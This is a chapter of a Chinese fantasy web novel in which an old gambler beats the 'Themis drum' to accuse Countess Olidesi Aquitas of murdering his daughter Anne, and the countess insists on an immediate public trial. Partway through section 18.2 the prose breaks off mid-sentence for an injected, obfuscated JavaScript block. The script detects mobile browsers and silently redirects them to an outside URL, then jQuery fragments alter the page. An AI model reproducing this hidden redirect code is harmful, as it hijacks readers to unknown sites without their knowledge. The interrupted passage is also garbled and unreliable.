Chapter18
18.1
安妮的父亲捶响“缇弥斯之鼓”的时候，审判广场上没有什么人。
这是一天里市集最忙碌的时候，欧普伦锡城里的人们通常在这个时候进行一天的劳动与贸易，没有时间聚集在广场上闲聊；然而，当“缇弥斯之鼓”被敲响，绝大部分的欧普伦锡公民都停下了手中的事情，惊讶地望向审判广场的方向——
“竟然有人敲响了‘缇弥斯之鼓’！”
市集上，泥瓦匠家的小孩子问道：“什么是‘缇弥斯之鼓’呀？”
孩子的父亲的神色有些尴尬，没有说话，旁边的铁匠家的孩子大声说道：“这你都不知道吗？如果一个平民想要状告一位贵族，就可以敲响‘缇弥斯之鼓’啊！这说明，有人要状告一个贵族！”
小孩子们“哇”了一声，一溜烟地蹿向审判广场：“去看看啊，去看看啊！”
审判广场上，人们已经迅速地聚集了起来；而安妮·怀特的父亲，老赌徒普辛·怀特，依然还在捶着“缇弥斯之鼓”——
“咚”，“咚”，“咚”。
沉闷的、钝重的声音缓慢地、有规律地响起，敲击在每个听见的人的心上，让他们的心里都跟着击打的声音微微一跳。
“缇弥斯之鼓”已经很久没有被人敲响了。平时，没有人会轻易靠近它，公民们几乎将它当做了广场上的一尊雕像，已经快要忘记：“缇弥斯之鼓”也是可以被敲响的。
而欧普伦锡的郡行法官，阿德莱德，也迅速地被惊动了。
她赶到审判广场的时候，广场上已经乌泱泱地聚满了前来观看热闹的人群，公民们压抑着自己的怀疑与兴奋，广场上漂浮着一种躁动。阿德莱德的眉心微微一蹙。
她望向那个正在敲响“缇弥斯之鼓”的人：
老普辛·怀特已经不年轻了，他的头发已经变得花白，佝偻着身体，击打的动作有些吃力。
他穿着一件单薄的短衣，脚上穿的靴子也很陈旧，看上去十分可怜。
阿德莱德认识他：
普辛·怀特是一位在欧普伦锡城里经营布料生意的商人，原本也算勤奋；然而自从他成为一位赌徒，普辛·怀特便出现了不少的债务问题，这使得他成为了郡行法官阿德莱德面前的常客。
当然，大多数时候，普辛·怀特都是作为被状告的一方登上审判的高台，而不是像现在这样，是一位状告他人的原告。
阿德莱德的眉心蹙得更深了。她向身边的骑士团挥了挥手。
骑士团整齐划一地护送着行法官出现在审判广场上，他们的靴子“铿”的一声整齐地踏在地上。广场上低低的议论声音骤然安静下来，老普辛·怀特的击打声音也微微停滞。
“我已经听到你的声音。”行法官阿德莱德说道，“在缇弥斯神与露辛达王的见证下，我倾听你的诉求。”
行法官顿了顿，虽然她已经认出了老普辛·怀特，但她还是按照审判的流程问道：“你是什么人？”
击鼓的老人回答道：“我是普辛·怀特，我在欧普伦锡城里经营一家布料商店。”
行法官点点头：“你为什么要敲响‘缇弥斯之鼓’。”
普辛·怀特动了动喉咙，回答道：“我希望我的女儿——在欧普伦锡堡担任女侍的安妮·怀特——得到公道与正义。”
当老普辛·怀特提到“欧普伦锡堡”的时候，审判广场上已经传来了一阵低低的哗然的声音；而普辛·怀特的下一句话，更是让广场的人群陷入一片沸腾——
他说：“我要状告，伯爵夫人欧丽德西·阿奎塔斯，杀害了我的女儿安妮！”
18.2
欧丽德西站在欧普伦锡城的城门外，欣赏了一会城墙上的“悬赏通缉令”。
“画得不太像。”她说，“我没有这么漂亮。”
她说着，在城外站了一会，没有急于动作。
果然，没过多久，一队骑士已经迅速地从欧普伦锡城里赶来，目标明确地冲向她——
“欧丽德西·阿奎塔斯。”
骑士们披着刻有“繁星罗盘”纹样的银甲，握住骑士剑，严丝合缝地将她围在了城墙的一角；城墙周围的公民们纷纷后退，低着头快步走开。
为首的骑士面色冷峻，欧丽德西不认识他。骑士冷酷地说道：“欧丽德西·阿奎塔斯，你被指控谋杀女侍安妮，依据《海德博特法典》，我们将即刻对你进行拘押，前往欧普伦锡堡地牢，等待行法官的审判。”
欧丽德西没有动作。
她没有反抗，也没有顺从，而是忽然笑了起来。
“雷纳德尔，”她叫出那个名字，“我看到，你重新回到了骑士团的队伍中去。恭喜你啊。”
雷纳德尔面色复杂，没有说话——当他不再成为伯爵夫人的守护骑士，优秀的骑士雷纳德尔自然地回到了欧普伦锡骑士团的队伍中去。
欧丽德西问他：“洛伦茨在哪里？”
雷纳德尔嘴唇微动，面色僵硬，还是没有回答。
欧丽德西了然：“哦，公爵夫人将他囚禁起来了，不让他参与这件事。看来，这一次，她是要我以另一种罪名死去。”
为首的骑士被欧丽德西彻底忽视了，他皱起眉头，上前一步，握住了自己骑士剑的剑柄。
“阿奎塔斯小姐，”他说，“请你不要拖延时间，作出徒劳的挣扎。”
面对骑士隐隐的威胁，欧丽德西的眉头都没有动一下。她目光淡漠地扫过那些骑士剑的剑鞘，然后缓缓笑了。
“我不会去地牢。”她淡淡地说，“我要求：现在，立刻，让郡行法官与骑士团立即在审判广场召开对我的公开审判。”
为首的骑士微微一愣，像是没有意料到欧丽德西会提出这样的要求。
欧丽德西似笑非笑地掀起眼皮，望了他一眼。
“这不是大家最希望看到的吗？”
她说着，愉快地微笑，“平民状告贵族，啊，多么激动人心的一件事。只不过，根据《海德博特法典》，作为被控告的一方，我也拥有为自己辩护的权利——不要忘记，《海德博特法典》里设定了‘无罪假定法则’，意思是：在审判未完成之前，任何被指控者都应被视为‘无罪’。”
这样说着，欧丽德西施
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16222570|181579||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
施然地提起了自己的裙摆。
“走吧。”她粲然一笑，“走，我们这就去审判广场——噢，女神在上。”
她靡靡地低语，神经质地笑了一声，“我可太喜欢那个地方了……没有人比我更喜欢那个地方了。”
18.3
“嘿，快走啊！”
“审判就要开始了！”
“针对伯爵夫人的审判就要开始啦！”
“……”
原本空空荡荡的欧普伦锡审判广场，此刻已经被公民们挤得水泄不通。
两排穿着银甲的骑士缓缓地走向审判台的两侧，维持着广场的秩序；日光照在他们身上的盔甲上，折射出刺眼的光。
缇弥斯女神的神殿里，第一声钟声低缓地响起：“当——”
神殿的钟声中，郡行法官阿德莱德披着深灰色的长袍，缓缓地地走上了审判广场正中央的高台。
她的面色十分严肃，左手持着一本厚厚的《海德博特法典》，右手提着一柄银制的天平，象征着缇弥斯女神的公平。
“当——”
第二声钟声响起，行法官的右下方，一个穿着旧棕色短衣的老人双手紧握，神情紧张地站着；那正是老普辛·怀特，女侍安妮的父亲。
“当——”
第三声钟声响起，广场上出现隐隐的骚动。有人低声说道：“啊，公爵和公爵夫人居然是这场审判的见证人。”
两个华丽的身影缓缓走上审判台：卢塞·艾布拉德公爵穿着黑金色的礼袍，神情凝重，一语不发；而公爵夫人碧萃斯·卡拉加朗则手持着自己的权杖，下颌微扬，如同往常一样神情高贵而骄傲。
他们在行法官阿德莱德的左下方站定。
“当——”
神殿的最后一声钟声响起，广场上有人低低地说道：“啊，终于来了……被控告的欧丽德西·阿奎塔斯。”
欧丽德西走进审判广场的时候，没有戴着镣铐，也没有被骑士团押解。
她一个人站在审判广场上，目光没有望向审判台上的任何人。
她只是望着缇弥斯女神的神殿前，那高高伫立着的缇弥斯神像。
“真是熟悉啊。”她说，眼睛里流露出一种复杂的感慨。
而审判台上的行法官阿德莱德垂着眼睛，见所有人都到齐了，低低地咳嗽了一声。
审判广场上的声音渐渐安静下去，行法官将手中的《海德博特法典》放在石桌上，左手按在法典上，开口说道：
“空灵纪年637年，寒季第二个月曜轮，第六个无月曜日，在公平与正义的缇弥斯神的见证下，我们在欧普伦锡审判广场进行公平与正义的审判。”
行法官说着，目光轻轻划过欧丽德西。
她说：“安妮·怀特失踪案的审判，现在开始。由原告普辛·怀特首先陈词。”
审判广场上，所有人的目光都投向了衣衫褴褛的普辛·怀特。老普辛·怀特的身体十分明显地抖了一下。
但他咬咬牙齿，还是上前半步，大声说道：“我要控告，伯爵夫人欧丽德西·阿奎塔斯杀害了我的女儿，安妮·怀特！”